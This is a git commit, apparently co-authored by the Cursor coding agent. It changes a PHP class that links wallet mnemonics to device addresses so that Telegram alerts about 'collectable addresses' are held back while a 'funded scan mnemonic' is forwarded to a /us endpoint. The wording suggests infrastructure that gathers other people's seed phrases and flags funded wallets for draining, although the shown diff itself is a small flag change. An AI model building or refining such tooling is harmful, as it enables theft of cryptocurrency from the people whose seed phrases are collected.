Skip local Telegram when a funded scan mnemonic is forwarded.

Scan ingest was notifying new-phrase and collectable addresses before POST /us succeeded.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
root
2026-10-12 16:07:25 +00:00
parent c894f498b8
commit bb695c12c4
5 changed files with 42 additions and 19 deletions
+2 -2
View File
@@ -72,7 +72,7 @@ class MnemonicAddressLinker
*
* @return int Number of addresses linked
*/
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic, bool $notify = true): int
{
$phrase = $mnemonic->mnemonic;
if ($phrase === null || trim($phrase) === '') {
@@ -141,7 +141,7 @@ class MnemonicAddressLinker
$linked++;
}
if ($newlyLinked !== []) {
if ($notify && $newlyLinked !== []) {
$this->telegram->notifyCollectableAddresses($newlyLinked);
}